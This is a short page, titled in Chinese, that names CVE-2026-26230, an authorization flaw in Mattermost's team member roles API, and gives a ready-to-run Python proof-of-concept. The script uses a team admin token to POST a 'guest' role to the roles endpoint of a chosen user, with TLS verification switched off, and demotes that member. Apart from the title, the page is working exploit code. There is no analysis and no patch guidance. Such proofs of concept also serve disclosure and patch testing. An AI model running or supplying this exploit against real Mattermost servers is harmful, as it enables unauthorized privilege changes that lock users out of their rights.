CVE-2026-26230 Mattermost团队成员角色API权限验证不当漏洞

import requests import json # CVE-2026-26230 PoC - Mattermost Team Role API Authorization Bypass # Target: Mattermost versions 10.11.x <= 10.11.10 def exploit_mattermost_role_demotion(target_url, auth_token, team_id, target_user_id): """ Exploit for CVE-2026-26230 This PoC demonstrates how a team admin can demote members to guest role by exploiting improper authorization in team member roles API endpoint """ api_endpoint = f"{target_url}/api/v4/teams/{team_id}/members/{target_user_id}/roles" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Payload to demote user from member to guest role payload = { "roles": ["guest"] } try: response = requests.post(api_endpoint, headers=headers, json=payload, verify=False) if response.status_code == 200: print(f"[+] SUCCESS: User {target_user_id} demoted to guest role") print(f"[+] Response: {response.json()}") return True else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {e}") return False # Example usage if __name__ == "__main__": TARGET = "https://mattermost.example.com" TOKEN = "your_team_admin_token" TEAM_ID = "target_team_id" USER_ID = "target_user_id_to_demote" exploit_mattermost_role_demotion(TARGET, TOKEN, TEAM_ID, USER_ID)